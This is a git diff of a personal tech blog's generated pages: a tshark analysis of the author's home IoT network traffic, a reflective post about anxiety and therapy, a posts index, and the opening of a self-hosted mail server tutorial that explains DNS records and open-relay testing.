    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    • What’s inside?
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
    • Protocol hierarchy (what kinds of traffic?)
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
    • Top IP conversations (who talked to whom?)
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
    • Fast “top talkers” table (by source IP)
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
    • DNS & mDNS highlights (what names show up?)
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    • TLS SNI (which cloud endpoints?)
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
    • Ports in use (quick heat check)
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    Epilogue

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/how_i_am_doing/index.html b/public-clearnet/posts/how_i_am_doing/index.html new file mode 100644 index 0000000..cea957b --- /dev/null +++ b/public-clearnet/posts/how_i_am_doing/index.html @@ -0,0 +1,48 @@ +How am I doing? | AlipourIm journeys +

    How am I doing?

    This constant feeling of how people think about me, how they view me, what is happening with them is killing me. +I’m interpretting every little move, every action, every response as me being in trouble. +Not only is it exhausting, but also it’s draining me. +Draining me of happiness, being in pursuit of happyness.

    Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. +What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. +Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved.

    This “others” in my mind is killing me. It is so annoying to pursue people who do not give the slightest of shit about me. That has been me in the past many months. +Ever since February 17th. That disgusting day. The day that was the result of last Friday of that Monday. The regrets. The sadness. The drainage.

    Idk what to do. I feel like I’m stuck in this life that I don’t like, with so much that I love. Does this even make sense? Idk. +I know I’m full of love, and I’m willing to give it to someone.

    Few things lie. First, do I love myself? I want to say yes, but maybe the answer is no. I honestly don’t know if I’m lying to myself or not. +Second, I know my therapist is worried for me. For how easy I can fall in the wrong people’s hand, and how badly I could get hurt.

    He has been pushing me to solve the issue of others, and self love. To be fine with what I am, and what I have. To be fine with me. I need to work on this. +I need to write more. To express myself more. Maybe I manage to figure things out that I would not otherwise. Who knows.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbugACgkQtYgoUOBM
    +jSqEgw//dXtHJRA2465bo78N3Slu0EhJXFLkEItsdXbX8KVMOf3g0ezaBoCwtes8
    +fDfzb4IHfsPgFef48NApWevoXC6nvwW1jd1ad6USS07lCcX+PXQMo5buZy8lvT+n
    +ozeDcN9Oul8t861nwbosGz8h3C6tWAilHxa3tKnTrlNs9RgcZXlE1yABUD8mO1xv
    +xHDoU5bYOwk7QvnxN83s4AXofVXOQfolxWrfH0zCCOxb5VauqPQxjKUHzx932MLG
    +m2F+aoxxgva28PxwvJp+yziid96fM8Y9nRaUWgusaAUrca1/GmmikfQJ2xe06G3n
    +bJePNiNU5SP49lvNzGfKKv8l07XfgOyksm4x55OYUh1e3i0ZlK00ULwu2yZr0dlO
    +tyfP3IqyeXJfiMtZznR9gVfrU8kuzwEoGy25rcAHuLmfuaGhAVCTFT+dSrD6Ls0d
    +T6baPwZTDnCz6dOvZB8g8jq5V2RsI9+FAe5FZSQzZ/iV0JMLHwB5eYwcWiWlJL7n
    ++J69MpQMCOh+S46y6YjNnK/gOCsMddTnN1cu9edWuoicNnM7ODn8w948fqMcv8yz
    +Ek0xuaY+o6luI4HoNKncCAgPmSvH6/Xjvt5qsqqBMlkBRFY8/bWW+7o9LB7VwLex
    +Bsy6Od/KW0X78XG0n1JnAw+kVQoaYWTWbXBV3CJ8n8dUaQn+ctw=
    +=NPxh
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/how_I_am_doing.md.asc
    +gpg --verify how_I_am_doing.md.asc how_I_am_doing.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/index.html b/public-clearnet/posts/index.html new file mode 100644 index 0000000..3288ba4 --- /dev/null +++ b/public-clearnet/posts/index.html @@ -0,0 +1,38 @@ +Posts | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +

    A TU Wien CTF where Sysops Klaus left the keys in the cron job

    LFI on a meme gallery, a localhost-only password reset service, a world-writable cron script, and way too many rabbit holes — plus a bonus on the intended log poisoning path I griefed myself out of.

    June 5, 2026 · 10 min · Iman Alipour +

    H3ll0 Fr1end

    Hello friends. I’m back. It’s been… let’s say, a shit show. My beloved country was attacked by two extremely strong foreign armies in the midst of a revolution. A revolution I deemed i woulld succeed, but now I’m so so confused. The royalists, the radical fascist rights, gathered behind the former King of Iran. A fucking ruthless dictator. Someone who created the scariest of spider webs in Iran, the effect of which layed it’s shadow over the country for decades. It’s funny how his father (I’m talking about the grandfather of this guy) was a traitor, and a ruthless dictator of his own. The difference was that he actually loved the country and although ruled with an iron fist, he actually tried to make the country great. Now let me be honest, the guy was an idiot for many many reasons, siding with the allies by providing them infrastructure at the cost of his own people’s lives, and then selling people’s food to make money off of England was just utterly messed up. But this guy (the son of the former King) is probably the most incompetence creature on this world. So badly incompetence that no mentally sane foreign leader even sees the guy. With all of the money given to him throughout the years, it’s not clean what the fuck his been up to. His eyes blinded be revenge, and his head dreaming of ruling a country that he clearly does not “own” makes him the best candidate for exploitation. And he has shown this very well. +...

    May 2, 2026 · 3 min · Iman Alipour +

    Nextcloud on a Raspberry Pi, Fronted by a Tiny VPS — Nginx Reverse Proxy, Trusted Proxies, and Basic Auth for Jellyfin

    I didn’t “move Nextcloud to the cloud”. +I moved the front door to a VPS… and kept the house on my Raspberry Pi. 😄 +This post documents the setup I ended up with: +A public VPS (host: funbox) running Nginx + Let’s Encrypt A private Raspberry Pi (host: iot-hub) running Docker services (Nextcloud, Jellyfin, …) A private backhaul using Tailscale (the 100.x.y.z network) A correct Nextcloud reverse-proxy configuration (trusted_domains, trusted_proxies, and overwrite values) A pragmatic security layer for media: Basic Auth at Nginx for Jellyfin +(in addition to Jellyfin’s own login) I’m writing this as a “future me” note and a “copy-paste friendly” guide. +...

    February 2, 2026 · 6 min · Iman Alipour +

    Blackout

    Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again. +...

    January 26, 2026 · 8 min · Iman Alipour +

    2025 Highlight

    I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work. +...

    January 5, 2026 · 3 min · Iman Alipour +

    Seeing the "Light"

    I have a strong hunch that I made it. I beat my MDD. I’m finally happy! I’m happy for being single, for being who I am, for doing what I do. I can cherish every moment of my life now. +Currently I’m sitting in Hamburg’s CCH, being an Angel in disguise. ;D +I could not land myself any shifts before 1600, so I have to sit around and wait, and blog. +...

    December 25, 2025 · 2 min · Iman Alipour +

    Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4

    Ok. Let me tell you the why first. So…. I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn’t hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It’s funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself “let’t message one of my two best friends”, We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours. +...

    December 21, 2025 · 9 min · Iman Alipour +

    How am I doing?

    This constant feeling of how people think about me, how they view me, what is happening with them is killing me. I’m interpretting every little move, every action, every response as me being in trouble. Not only is it exhausting, but also it’s draining me. Draining me of happiness, being in pursuit of happyness. +Idk what is wrong with me. Idk why I can’t let go. I don’t know why I need so much closure. Idk. I really don’t. What I know is that I’m mentally dealing with too much. Too much for a little boy like me. Someone who got conditional love throughout his life. Someone who never experienced being loved. Someone who was trained to work hard to be loved. To sacrifice to be loved. +...

    December 15, 2025 · 2 min · Iman Alipour +

    Setting Boundries

    I was watching this video the other day. It’s an interesting video imo. This is something I’ve been also dealing in my therapy sessions lately too. Why am I the way I am? Why do I case so much about what others think? Why do I keep giving my best to them, though they literally do not give the slightest of shit about me unless they need something from me? +Funnily enough, my therapist believes I do this as a survival mechanism. That it all comes from my childhood. Being born in a family with a high achiever dad, and brother, and being pushed to become better. Being compared to whoever was better than me in any regards all the time. The toxicity of this stayed with me throughout my life. I had to always be the best. I had to always try harder. I had to earn other’s respect. Naturally that evolved into me becoming a people please. A so called “nice person”. I’ve even been made fun of with those words. +...

    December 4, 2025 · 3 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/index.xml b/public-clearnet/posts/index.xml new file mode 100644 index 0000000..ece1b0d --- /dev/null +++ b/public-clearnet/posts/index.xml @@ -0,0 +1,5697 @@ +Posts on AlipourIm journeyshttps://blog.alipour.eu/posts/Recent content in Posts on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

